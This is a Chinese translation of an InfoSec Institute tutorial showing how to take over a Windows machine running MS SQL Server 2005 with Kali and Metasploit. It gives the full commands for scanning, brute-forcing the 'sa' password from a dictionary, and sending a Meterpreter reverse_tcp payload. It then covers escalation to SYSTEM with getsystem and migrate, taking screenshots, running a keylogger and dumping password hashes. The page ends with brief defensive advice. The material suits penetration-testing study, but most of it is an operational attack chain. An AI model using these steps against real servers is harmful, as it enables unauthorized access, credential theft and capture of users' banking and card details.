從攻擊MS SQL Server到獲得系統訪問權限
當談及SQL服務器,幾乎所有的系統管理員和數據庫管理員都會同意這樣一個觀點:管理員并不都有設置復雜密碼的意識??雌饋磉@或許方便技術支持人員進行簡單故障排除,但卻過低評估了它的風險性。當然這些還不重要,重要的是,它更容易讓攻擊者攻擊系統。
在這次攻擊中,我們將使用到的是Linux Kali和預裝了的Metasploit框架,我們的目標計算機是一臺運行有Microsoft SQL Server 2005的Windows XP系統計算機。當然,同樣的攻擊也可以在任何MS SQL平臺和Windows操作系統下進行,因為在這里系統的弱點是密碼的強度,而不是環(huán)境本身。
探測
如同所有的攻擊一樣,首先我們要對目標計算機的系統信息等進行收集。
我們的選擇的是使用nmap工具來掃描某一個IP范圍的SQL的通用端口(1433)。
命令:
NMAP-ST-A-PO 192.168.23.0/24
Metasploit也內置了mssql_ping掃描,可以在一個特定的IP范圍識別任何微軟的SQL服務。
命令:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.23.0/24 (我們目標的IP段)
set THREADS 8
run
現在,我們已經知道我們的目標系統(192.168.23.100),以及Microsoft SQL Server(版本2005 SP4,TCP端口1433)等一些細節(jié),我們可以繼續(xù)進行下一個步驟。
攻擊
這次攻擊是基于一個簡單的原理。在大多數情況下,微軟的SQL服務器將被安裝在一個混合模式下。它的默認用戶是“sa”,很多時候對于默認用戶只有一個簡單的密碼。這意味著它會比較容易進行暴力破解得到密碼,使用字典文件。這些字典文件可以從網上下載或自己生成。生成定制字典的好處是,允許手動添加特定的術語和字段,比如在安裝應用程序是可能使用軟相關件名稱或銷售商作為密碼。例如,Sandstone的數據庫密碼就很可能是像“Sandstone01”這樣的字段。
對于攻擊,我們將使用內置的工具MSSQL_Login。指定目標和密碼文件之后,攻擊就開始了。
命令:
use auxiliary/scanner/mssql/mssql_login
Set PASS_FILE /root/passwords.txt (字典文件)
Set RHOSTS 192.168.23.100
Set Threads 8
Set verbose false
run
如果如果這一步攻擊成功就可以獲取到“SA”的密碼。此間價值還用在多說什么,允許數據庫操有木有!但是,在這次攻擊中,我們將使用SA帳戶來訪問底層的Windows操作系統。
開發(fā)
現在我們可以用這個SA密碼與我們的目標計算機建立聯系。Kali Linux內置有一個名為mssql_payload的工具。這個工具將允許我們通過端口1433發(fā)送我們新的登陸憑據的有效載荷。在這里我們就是基于此攻擊目標與我們之間的會話的。
命令:
use exploit/windows/mssql/mssql_payload
set RHOST 192.168.23.100 (我們的目標)
set password Password01 (我們剛剛獲取的密碼)
use payload/windows/meterpreter/reverse_tcp(our selected payload)
exploit
現在,有趣的事情開始。我們已經打開了目標會話,從這里我們可以進行很多命令了。但要小心,別手抖。當我們將Meterpreter文件安裝到目標計算機的時候,很多病毒防御程序會對其進行檢測、攔截和并刪除處理。從以往的經驗來看,我想說許多SQL服務器管理員都會禁止使用任掃描中任何的訪問形式,從而可以獲得最大的性能由服務器托管數據庫。如果該目標計算機一直在在運行,例如,一個通宵的病毒掃描,它會留給攻擊者充足的時間來進行攻擊和收集系統數據,然后從容離開,深藏功與名。
除了使用的Meterpreter有效載荷,其他的有效載荷也可以使用。這里的執(zhí)行命令如上述相類,只是改變有效負載名稱的問題而已。比如,有效載荷“generic/shell_bind_tcp”,將在命令提示符下訪問目標系統。
提權
對于很多命令來說,我們需要提升我們用戶的訪問權限。比如使用截取屏幕工具、鍵盤記錄工具和提取密碼哈希值工具等都需要管理員權限來運行。
在這里我們使用了簡單的Meterpreter shell。首先,我們使用ps命令生成一系列進程。然后,我們可以使用migrate命令將一個進程提升至更高系統訪問許可。在這種情況下,這將好比是explorer.exe進程。
現在有我們需要使用一個額外的命令:getsystem。這將使Meterpreter系統的migrate命令得以實現。如果沒有這一點,“權限不足”,進程提升將不能進行。
命令:
Ps(這將顯示正在運行的進程及其相應的PID的)
Getsystem(獲得系統權限)
Migrate 1064(在該例子中的explorer.exePID)
數據收集
現在,我們有了完整的系統訪問權想,我們可以使用一些其他的工具來收集我們所需要的數據。
命令:
Screenshot
在這里將創(chuàng)建目標的截圖,然后以jpeg格式保存。
命令:
Run post/windows/capture/keylog_recorder
這將在目標上運行一個鍵盤記錄工具和將鍵盤記錄重新編碼的保存在系統中的文本文件中。鍵盤記錄可以獲取獲取網頁的登錄信息,銀行帳戶和信用卡信息等。盡管此間有反病毒防御程序,但是,依舊可以輕松地拿到這個鍵盤記錄。
命令:
Migrate 772(Services.exe的PID)
Run post/windows/gather/hashdump
在一個系統中用戶口令通常存儲hash值中,可以通過純碎的暴力破解或是字典、彩虹表等方式進行破解。此處作者為自己之前的一篇相關文章打了廣告——
http://resources.infosecinstitute.com/password-auditing-on-active-directory-databases/
為了獲得目標系統的hash值,我們需要提升services.exe進程,以便能夠獲得足夠的系統的訪問權限。
這些hash值可以用許多暴力破解工具,比如Ophcrack的和Hashcat。
結果
在以上幾個簡單步驟中,我們可以看到我們已經可以通過使用一個開放的SQL Server端口繞過任何防火墻,不僅獲得了完整的數據庫訪問權限,并據此進一步獲得完整的操作系統訪問權限。該鍵盤記錄和提取hash值還可能收集更多有用的網絡的詳細信息,如用戶名和密碼,以及很可能獲得進一步訪問其他系統的信息。
如何抵御這種攻擊
有幾個建議可以保護系統免受這種攻擊。首先,使用“正確”的密碼!不管出于什么原因,一個SQL服務器的SA的密碼,不應該可以不用花多大精力就可以暴力破解的。此外,安裝一個入侵檢測系統或者干脆自動或手動監(jiān)控日志,這樣可以根據大量的失敗登陸日志檢測出暴力攻擊。另一個方法就是在系統運行一個病毒防御軟件。在這個例子中,有效載荷會在攻擊之前被偵測到并刪除或隔離。
原文地址:http://resources.infosecinstitute.com/attacking-ms-sql-server-gain-system-access/